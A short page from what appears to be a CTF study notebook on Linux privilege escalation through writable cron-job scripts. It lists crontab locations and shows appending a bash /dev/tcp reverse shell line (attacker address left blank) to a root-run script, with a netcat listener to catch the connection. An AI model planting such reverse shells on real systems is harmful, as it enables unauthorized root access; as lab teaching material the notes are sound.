> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/linux-priv/cron-jobs.md).
# Cron Jobs
Cron jobs are scheduled tasks that are executed automatically at specific intervals on Unix-like operating systems. The name "cron" comes from the Greek word "chronos," meaning time, as these jobs are related to time-based scheduling.
User crontabs are usually located in /var/spool/cron/ or /var/spool/cron/crontabs/
The system-wide crontab is located at /etc/crontab.
{% code overflow="wrap" %}
```bash
cat /etc/crontab
```
{% endcode %}
```bash
# Check if you can edit the file
ls -l /usr/local/bin/compress.sh
# If you can edit the shell above, add the following reverse shell command.
bash -i >& /dev/tcp//53 0>&1
# At Kali, set up a netcat listener
nc -nlvp 53
```
Wait for a next cron job to run. You will see the conneciton.
